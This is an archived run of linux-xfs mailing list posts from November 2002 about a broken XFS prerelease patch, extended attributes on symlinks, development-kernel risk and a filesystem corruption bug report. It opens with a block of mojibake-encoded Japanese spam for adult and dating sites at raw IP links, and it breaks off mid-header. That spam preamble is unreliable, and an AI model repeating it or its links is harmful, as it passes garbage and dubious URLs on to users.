Žá‚¢—«‚à‰“—¶‚µ‚È‚¢‚Å—V‚Ñ‚Ü‚­‚낤I ‚P‰ñŒÀ‚èA’·ŠúA‰½‚Å‚à‚ ‚èB ô—«‚É—D‚µ‚­‚Å‚«‚é’j«ƒXƒ^ƒbƒt‚à“¯Žž•åW’†ô http://210.157.13.87/enjyo/ @@@@@@@@@@@@@@@@@@@@@@@@@‹t‰‡•‰ï \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@V‘•ŠJ“XIŒƒˆÀƒZ[ƒ‹@¡ AV.DVDŒƒˆÀƒZ[ƒ‹ ‘¼“X‚Å‚ÍŽè‚É“ü‚ç‚È‚¢‚à‚̂΂©‚µ¥¥¥¥¥¥ ˆÈ‘O‚̂悤‚ÉA‚æ‚낵‚­‚¨Šè‚¢‚µ‚Ü‚·B ‘¼“X‚É•‰‚¯‚¸ŒƒˆÀ—¿‹àI http://210.157.13.87/pink/ @@@@@@@@@@@@@@@@@@@@@@@@@”ü­—ƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ From owner-linux-xfs@oss.sgi.com Sat Nov 9 03:46:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 03:46:56 -0800 (PST) Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9BknuR009379 for ; Sat, 9 Nov 2002 03:46:50 -0800 Received: from pc9391.physik.uni-regensburg.de (pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.11.6+Sun/8.11.6) with ESMTP id gA9Bm8d27612; Sat, 9 Nov 2002 12:48:08 +0100 (MET) Received: from guc28561 by pc9391.physik.uni-regensburg.de with local (Exim 3.35 #1 (Debian)) id 18AU5v-0007Wt-00; Sat, 09 Nov 2002 12:48:07 +0100 Date: Sat, 9 Nov 2002 12:48:07 +0100 From: Christian Guggenberger To: Thor Lancelot Simon Cc: linux-xfs@oss.sgi.com Subject: Re: pre3: missing header files in make dep? Message-ID: <20021109114807.GA28795@pc9391.physik.uni-regensburg.de> Reply-To: Christian.Guggenberger@physik.uni-regensburg.de References: <20021108204950.A18708@reefedge.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021108204950.A18708@reefedge.com> User-Agent: Mutt/1.3.28i X-archive-position: 1595 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Christian.Guggenberger@physik.uni-regensburg.de Precedence: bulk X-list: linux-xfs On Fri, Nov 08, 2002 at 08:49:50PM -0500, Thor Lancelot Simon wrote: > I unpacked the 2.4.19 sources from kernel.org, applied the 1.2pre3 patch, > ran make menuconfig, then ran make dep, and got errors on a large number of > files because linux/dqblk_xfs.h, linux/dqblk_v1.h, and linux/dqblk_v2.h > are missing. I can't find those files anywhere in the source tree that > results from applying the XFS 1.2pre3 patch to a 2.4.19 kernel tree. > > Is this expected? Am I doing something wrong? > Thor, I didn't hear about about the prerelease3 yet, there was no announcement, at least I didn't see it. You took the patches from oss.sgi.com:/projects/xfs/download/Release-1.2pre3/kernel_patches ?? When you look at their size (32kB) you'll recognize, that these are not what they're intended to be... Anyone of SGI to comment? Christian From owner-linux-xfs@oss.sgi.com Sat Nov 9 03:51:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 03:51:24 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-69.20.221.203.acc06-john-stp.comindico.com.au [203.221.20.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9BpKuR009815 for ; Sat, 9 Nov 2002 03:51:21 -0800 Received: by monkeyiq.dnsalias.org id gA9BqEk25512 ; Sat, 9 Nov 2002 21:52:14 +1000 Date: Sat, 9 Nov 2002 21:52:14 +1000 Message-Id: <200211091152.gA9BqEk25512@monkeyiq.dnsalias.org> Subject: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1596 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs Hi, I was running 2.4.18-xfs for a long time and recently upgraded to 2.4.19-xfs. I was rereading some posts re security and softlinks with user EA, the end points seeming to be that it was a bad thing to have user.* on links. Though I don't see what is wrong with the owner being able to set user.ea for a softlink they own. $ touch dummy $ setfattr --name=user.fred -h --value=foo ./dummy $ getfattr -n user.fred dummy # file: dummy user.fred="foo" $ ll -d video lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> /diskzilla/video/ $ setfattr --name=user.fred -h --value=foo ./video setfattr: ./video: Operation not permitted Is there a security issue here for setting EA on softlinks that one owns? I use EA to store icon name, x, y etc info in the object itself, and anything else I add to get around this will be a poor very app specific hack. I'm just hopefull that maybe security was maybe tightened too far or I have made a slip up? -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Sat Nov 9 04:10:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 04:10:43 -0800 (PST) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9CAcuR011159 for ; Sat, 9 Nov 2002 04:10:38 -0800 Received: from erbenson.alaska.net (35-pm29.nwc.alaska.net [209.112.158.35]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id gA9CBvvW068025 for ; Sat, 9 Nov 2002 03:11:58 -0900 (AKST) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 0790C3A0B for ; Sat, 9 Nov 2002 03:11:56 -0900 (AKST) Received: by plato.local.lan (Postfix, from userid 1000) id 9199F4104E2; Sat, 9 Nov 2002 03:11:56 -0900 (AKST) Date: Sat, 9 Nov 2002 03:11:56 -0900 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: User EA on symlinks, 2.4.19-xfs Message-ID: <20021109121156.GH21771@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200211091152.gA9BqEk25512@monkeyiq.dnsalias.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="O8XZ+2Hy8Kj8wLPZ" Content-Disposition: inline In-Reply-To: <200211091152.gA9BqEk25512@monkeyiq.dnsalias.org> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-archive-position: 1597 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs --O8XZ+2Hy8Kj8wLPZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Nov 09, 2002 at 09:52:14PM +1000, Ben Martin wrote: > $ ll -d video > lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> > /diskzilla/video/ > $ setfattr --name=3Duser.fred -h --value=3Dfoo ./video > setfattr: ./video: Operation not permitted >=20 > Is there a security issue here for setting EA on softlinks that one > owns? I use EA to store icon name, x, y etc info in the object itself, > and anything else I add to get around this will be a poor very app > specific hack. I'm just hopefull that maybe security was maybe tightened > too far or I have made a slip up? i don't believe there is a security problem with allowing EA for the owner only on symlinks, i think the reason its not allowed is because that would require special casing the security rules for user.* namespace. the user.* namespace is controlled by standard unix file permissions (which are supposed to be irrelevant on symlinks). it would be messy to add special casing for where its permissions for normal files and file owner for symlinks. rather then complicate the code in the kernel its just forbidden to set EAs on symlinks at all (unless your root probably).=20 the designers of the xattr interface want to keep the rules for various namespaces very clear and consistent, adding special cases like this violates that order. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --O8XZ+2Hy8Kj8wLPZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj3M+4wACgkQJKx7GixEevwTxgCfXn6gLoYR2Zmn53TbR+OXI1bb Xm4Anj+W7w8ckc8x0k94bKkJf4aY8WYF =6G3+ -----END PGP SIGNATURE----- --O8XZ+2Hy8Kj8wLPZ-- From owner-linux-xfs@oss.sgi.com Sat Nov 9 07:18:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 07:18:22 -0800 (PST) Received: from lips.thebarn.com (lips.borg.umn.edu [160.94.232.50]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9FIHuR019423 for ; Sat, 9 Nov 2002 07:18:17 -0800 Received: from lupo (c-24-245-56-70.mn.client2.attbi.com [24.245.56.70]) (authenticated bits=0) by lips.thebarn.com (8.12.6/8.12.6) with ESMTP id gA9FJbQf097111; Sat, 9 Nov 2002 09:19:38 -0600 (CST) (envelope-from cattelan@thebarn.com) Subject: Re: pre3: missing header files in make dep? From: Russell Cattelan To: Christian.Guggenberger@physik.uni-regensburg.de Cc: Thor Lancelot Simon , linux-xfs@oss.sgi.com In-Reply-To: <20021109114807.GA28795@pc9391.physik.uni-regensburg.de> References: <20021108204950.A18708@reefedge.com> <20021109114807.GA28795@pc9391.physik.uni-regensburg.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 09 Nov 2002 09:19:37 -0600 Message-Id: <1036855178.4752.50.camel@lupo.thebarn.com> Mime-Version: 1.0 X-archive-position: 1598 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs On Sat, 2002-11-09 at 05:48, Christian Guggenberger wrote: > On Fri, Nov 08, 2002 at 08:49:50PM -0500, Thor Lancelot Simon wrote: > > I unpacked the 2.4.19 sources from kernel.org, applied the 1.2pre3 patch, > > ran make menuconfig, then ran make dep, and got errors on a large number of > > files because linux/dqblk_xfs.h, linux/dqblk_v1.h, and linux/dqblk_v2.h > > are missing. I can't find those files anywhere in the source tree that > > results from applying the XFS 1.2pre3 patch to a 2.4.19 kernel tree. > > > > Is this expected? Am I doing something wrong? > > > > Thor, > > I didn't hear about about the prerelease3 yet, there was no announcement, at > least I didn't see it. I sent an announcement to linux-xfs-announce but I'm guessing not many people are subscribing to that list these days. Anyways yes 1.2pre3 has been released and is available for download. I'm not sure what was going on with the patches, but I re-generated them this morning and uploaded them to oss.sgi.com. The md5sums: 506f8bddccd1422572cd65d9f6614fe1 linux-2.4.19-core-xfs-1.2pre3.patch.bz2 003db1c6348359660c210d45298cbbc9 linux-2.4.19-xfs-1.2pre3.patch.bz2 > You took the patches from > oss.sgi.com:/projects/xfs/download/Release-1.2pre3/kernel_patches > > ?? > > When you look at their size (32kB) you'll recognize, that these are not > what they're intended to be... > > Anyone of SGI to comment? > > Christian > -Russell Cattelan Digital Elves Inc. From owner-linux-xfs@oss.sgi.com Sat Nov 9 11:37:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 11:37:36 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA9JbWuR021312 for ; Sat, 9 Nov 2002 11:37:32 -0800 Received: (qmail 24348 invoked by uid 500); 9 Nov 2002 19:38:10 -0000 Subject: Re: Stack traces. From: Austin Gonyou To: linux-xfs@oss.sgi.com In-Reply-To: <1036805036.12615.201.camel@ubergeek> References: <1036805036.12615.201.camel@ubergeek> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 09 Nov 2002 13:38:10 -0600 Message-Id: <1036870690.24293.4.camel@ubergeek> Mime-Version: 1.0 X-archive-position: 1599 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-08 at 19:23, Austin Gonyou wrote: > I've got a stack trace on a system and wanted someone to look at them. > If anyone could I'd much appreciate it. I'm running kernel 2.4.19-aa1, > yes, I know I need to patch it to update the xfs code. I'm running LVM, > and qlogic 2300's on this box with driver 6.01. I know there are issues > with all of this, but I would like some feedback and discussion about > it. I'm going to attempt to reproduce it again. If anyone could advise > on how best to do this as well, I'd much appreciate it. Sorry if you guys thing this stuff is annoying. I just need to get closure on the stack eating issue, so I can predict when our next failure will be to be *sure* if this is the problem and how to recognize it. The upper mgmt doesn't wanna change things too much if at all possible, and knowing the next level of fixes, would offer a good path for upgrades to the kernels on these servers, once we're out of the "holiday" woods so to speak. TIA Austin From owner-linux-xfs@oss.sgi.com Sat Nov 9 23:55:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 09 Nov 2002 23:55:12 -0800 (PST) Received: from Mail.CERT.Uni-Stuttgart.DE (mail.cert.uni-stuttgart.de [129.69.16.17]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAA7t9uR027705 for ; Sat, 9 Nov 2002 23:55:10 -0800 Received: from rusfw by Mail.CERT.Uni-Stuttgart.DE with local (Exim 4.10) id 18AmxN-0005jw-00 for linux-xfs@oss.sgi.com; Sun, 10 Nov 2002 08:56:33 +0100 To: linux-xfs@oss.sgi.com Subject: How risky is 2.5.x? From: Florian Weimer Date: Sun, 10 Nov 2002 08:56:33 +0100 Message-ID: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-debian-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1600 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Weimer@CERT.Uni-Stuttgart.DE Precedence: bulk X-list: linux-xfs How risky is using recent 2.5.x kernels, either the Linus version or the SGI one? I do have backups, but recovering is still a mess. ;-) (I want to test some 2.5.x features, but I'm unwilling to set up a separate test system.) -- Florian Weimer Weimer@CERT.Uni-Stuttgart.DE University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/ RUS-CERT fax +49-711-685-5898 From owner-linux-xfs@oss.sgi.com Sun Nov 10 00:52:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 00:52:26 -0800 (PST) Received: from lightning.adam.com.au (lightning.adam.com.au [203.2.124.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAA8qNuR028426 for ; Sun, 10 Nov 2002 00:52:23 -0800 Received: (qmail 93077 invoked from network); 10 Nov 2002 08:53:41 -0000 Received: from 202-6-130-79.ip.adam.com.au (HELO linux.david.net.au) (202.6.130.79) by eden.adam.com.au with SMTP; 10 Nov 2002 08:53:41 -0000 Date: Sun, 10 Nov 2002 19:37:42 +1030 From: David Lloyd To: Florian Weimer Cc: linux-xfs@oss.sgi.com Subject: Re: How risky is 2.5.x? Message-Id: <20021110193742.70a3be2b.lloy0076@adam.com.au> In-Reply-To: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> References: <87wunlsvri.fsf@Login.CERT.Uni-Stuttgart.DE> X-Mailer: Sylpheed version 0.8.5 (GTK+ 1.2.9; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 1601 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lloy0076@adam.com.au Precedence: bulk X-list: linux-xfs Florian, > How risky is using recent 2.5.x kernels, either the Linus version or > the SGI one? It's a development kernel. I lurk on the linux kernel list and there are "issues" happening with it all the time and it changes all the time. It's a "use only if you are really testing" type thing. > (I want to test some 2.5.x features, but I'm unwilling to set up a > separate test system.) I would strongly counsel you to take the time to setup a separate test system if your data is important OR to understand the implications of running a development series kernel. DSL -- Angel of Music, why deny me? Turning from true beauty! Angel of music, do not shun me, Turn to your strange Angel! From owner-linux-xfs@oss.sgi.com Sun Nov 10 05:12:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 05:12:34 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-161.162.221.203.acc05-john-stp.comindico.com.au [203.221.162.161]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAADBWuR004886 for ; Sun, 10 Nov 2002 05:12:00 -0800 Received: by monkeyiq.dnsalias.org id gAAD9X525574 ; Sun, 10 Nov 2002 23:09:33 +1000 Date: Sun, 10 Nov 2002 23:09:33 +1000 Message-Id: <200211101309.gAAD9X525574@monkeyiq.dnsalias.org> Subject: Re: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: linux-xfs@oss.sgi.com Cc: acl-devel@bestbits.at Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1602 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs On Sat, 2002-11-09 at 22:11, Ethan Benson wrote: > On Sat, Nov 09, 2002 at 09:52:14PM +1000, Ben Martin wrote: > > $ ll -d video > > lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> > > /diskzilla/video/ > > $ setfattr --name=user.fred -h --value=foo ./video > > setfattr: ./video: Operation not permitted > > > > Is there a security issue here for setting EA on softlinks that one > > owns? I use EA to store icon name, x, y etc info in the object itself, > > and anything else I add to get around this will be a poor very app > > specific hack. I'm just hopefull that maybe security was maybe tightened > > too far or I have made a slip up? > > i don't believe there is a security problem with allowing EA for the > owner only on symlinks, i think the reason its not allowed is because > that would require special casing the security rules for user.* > namespace. the user.* namespace is controlled by standard unix file > permissions (which are supposed to be irrelevant on symlinks). it > would be messy to add special casing for where its permissions for > normal files and file owner for symlinks. hmm, I agree it would add yet another complication, but without such a case I think that many userland tools will build functions to do a similar thing in a app dependent way (eg, setting normal EA on a .xxx file for a symlink xxx). I'd love make 100% sure that the if( symlink && owner == current-id ) case is hated before I think of other ways around it (which might well be making the personal patch available to allow the above case). > > rather then complicate the code in the kernel its just forbidden to > set EAs on symlinks at all (unless your root probably). > > the designers of the xattr interface want to keep the rules for > various namespaces very clear and consistent, adding special cases > like this violates that order. I am wondering if it will make the system too simple for folks other than myself, who are storing per object metadata in EA and their systems break or display poorly for directories that the user has created symlinks in. Sort of trying to see if there is a community who think that the special case is worth existing or not. > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Sun Nov 10 07:25:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 07:25:30 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAAFPPuR006027 for ; Sun, 10 Nov 2002 07:25:26 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 26ECE147B8; Sun, 10 Nov 2002 16:26:46 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: Ben Martin Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs Date: Sun, 10 Nov 2002 16:26:45 +0100 User-Agent: KMail/1.4.3 Cc: acl-devel@bestbits.at, linux-xfs@oss.sgi.com References: <200211101309.gAAD9X525574@monkeyiq.dnsalias.org> In-Reply-To: <200211101309.gAAD9X525574@monkeyiq.dnsalias.org> MIME-Version: 1.0 Message-Id: <200211101626.45038.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAAFPQuR006028 X-archive-position: 1603 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Sunday 10 November 2002 14:09, Ben Martin wrote: > On Sat, 2002-11-09 at 22:11, Ethan Benson wrote: > > On Sat, Nov 09, 2002 at 09:52:14PM +1000, Ben Martin wrote: > > > $ ll -d video > > > lrwxrwx--- 1 ben ben 12 Aug 22 18:59 video -> > > > /diskzilla/video/ > > > $ setfattr --name=user.fred -h --value=foo ./video > > > setfattr: ./video: Operation not permitted > > > > > > Is there a security issue here for setting EA on softlinks that one > > > owns? I use EA to store icon name, x, y etc info in the object itself, > > > and anything else I add to get around this will be a poor very app > > > specific hack. I'm just hopefull that maybe security was maybe > > > tightened too far or I have made a slip up? > > > > i don't believe there is a security problem with allowing EA for the > > owner only on symlinks, i think the reason its not allowed is because > > that would require special casing the security rules for user.* > > namespace. the user.* namespace is controlled by standard unix file > > permissions (which are supposed to be irrelevant on symlinks). it > > would be messy to add special casing for where its permissions for > > normal files and file owner for symlinks. > > hmm, I agree it would add yet another complication, but without such a > case I think that many userland tools will build functions to do a > similar thing in a app dependent way (eg, setting normal EA on a .xxx > file for a symlink xxx). I'd love make 100% sure that the > if( symlink && owner == current-id ) > case is hated before I think of other ways around it (which might well > be making the personal patch available to allow the above case). The access rules for the user.* namespace are already complicated enough; I don't want to further complicate them. We have been anticipating additional namespaces with different access semantics, but nothing has been implemented yet: owner.* Allow access to the owner and to users capable of CAP_FOWNER. trusted.* Allow access to users capable of CAP_SYS_ADMIN. > > rather then complicate the code in the kernel its just forbidden to > > set EAs on symlinks at all (unless your root probably). Yes, user.* EAs are not allowed, but other kinds may be added that can be set on symlinks. > > the designers of the xattr interface want to keep the rules for > > various namespaces very clear and consistent, adding special cases > > like this violates that order. > > I am wondering if it will make the system too simple for folks other > than myself, who are storing per object metadata in EA and their systems > break or display poorly for directories that the user has created > symlinks in. Sort of trying to see if there is a community who think > that the special case is worth existing or not. The symlinks are usually thought of being references to objects only, not first-class objects on their own. Which information do you want to attach to the symlink that you can't attach to the object pointed to in the first place? --Andreas. From owner-linux-xfs@oss.sgi.com Sun Nov 10 09:43:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 09:43:56 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAAHhruR007493 for ; Sun, 10 Nov 2002 09:43:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAAHhr30007492 for linux-xfs@oss.sgi.com; Sun, 10 Nov 2002 09:43:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAAHhpuX007464 for ; Sun, 10 Nov 2002 09:43:51 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAAHFOkc007136; Sun, 10 Nov 2002 09:15:24 -0800 Date: Sun, 10 Nov 2002 09:15:24 -0800 Message-Id: <200211101715.gAAHFOkc007136@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 192] New: corruption 33869960 dinode X-Bugzilla-Reason: AssignedTo X-archive-position: 1604 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=192 Summary: corruption 33869960 dinode Product: Linux XFS Version: 1.2.x Platform: All OS/Version: Linux Status: NEW Severity: major Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: knutjbj@online.no If this is a userspace bug, what version of the package are you using: What kernel are you using:kernel-2.4.18-17SGIpre3 Where did the XFS code come from? (CVS, Linus, your distribution, etc): Description of Problem:corruption 33869960 dinode. I think there was a locking problem in /usr/var/lock in both subsys and console. When I moved those dir to a ext3 partion my problem went away. xfs_reapair fixed the partion without any problem How Reproducible: each time, Steps to Reproduce: 1. have var/locks with contain on a xfs root partion 2. reboot 3. watch ther erro appear Actual Results: Expected Results: Additional Information: ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 10 09:43:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 09:44:03 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAAHhruR007494 for ; Sun, 10 Nov 2002 09:43:53 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAAHhrFx007491 for linux-xfs@oss.sgi.com; Sun, 10 Nov 2002 09:43:53 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAAHhpuV007464 for ; Sun, 10 Nov 2002 09:43:51 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAAHP7FD007324; Sun, 10 Nov 2002 09:25:07 -0800 Date: Sun, 10 Nov 2002 09:25:07 -0800 Message-Id: <200211101725.gAAHP7FD007324@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 192] corruption 33869960 dinode X-Bugzilla-Reason: AssignedTo X-archive-position: 1605 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=192 ------- Additional Comments From knutjbj@online.no 2002-11-10 09:25 ------- Nov 10 17:25:12 knut kernel: Filesystem "ide0(3,66)": corrupt dinode 33869960, (btree extents). Unmount and run xfs_repair. Nov 10 17:25:12 knut kernel: Filesystem "ide0(3,66)": corrupt dinode 33869960, (btree extents). Unmount and run xfs_repair. This happen with a after clean shutdown,and a following reboot. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 10 13:20:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 13:20:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAALKsuR009907 for ; Sun, 10 Nov 2002 13:20:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAALKsGK009906 for linux-xfs@oss.sgi.com; Sun, 10 Nov 2002 13:20:54 -0800 Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAALKpuR009892; Sun, 10 Nov 2002 13:20:51 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 746A41F0B35; Sun, 10 Nov 2002 13:22:18 -0800 (PST) Date: Sun, 10 Nov 2002 13:22:18 -0800 From: Chris Wedgwood To: bugzilla-daemon@oss.sgi.com Cc: xfs-master@oss.sgi.com, knutjbj@online.no Subject: Re: [Bug 192] New: corruption 33869960 dinode Message-ID: <20021110212218.GA7903@tapu.f00f.org> References: <200211101715.gAAHFOkc007136@oss.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211101715.gAAHFOkc007136@oss.sgi.com> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1606 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Sun, Nov 10, 2002 at 09:15:24AM -0800, bugzilla-daemon@oss.sgi.com wrote: > What kernel are you using:kernel-2.4.18-17SGIpre3 Have you tried CVS HEAD of late? That fixed some funnies for me (I think recent hch commits are what made the difference). > Steps to Reproduce: > 1. have var/locks with contain on a xfs root partion > 2. reboot > 3. watch ther erro appear *Everything* for me is XFS and I can't reproduce this. Are there any more details? --cw From owner-linux-xfs@oss.sgi.com Sun Nov 10 13:31:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 10 Nov 2002 13:31:53 -0800 (PST) Received: from burgers.bubbanfriends.org (IDENT:postfix@dhcp024-208-195-177.indy.rr.com [24.208.195.177]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAALVmuR010408 for ; Sun, 10 Nov 2002 13:31:49 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 0668C400140 for ; Sun, 10 Nov 2002 16:33:21 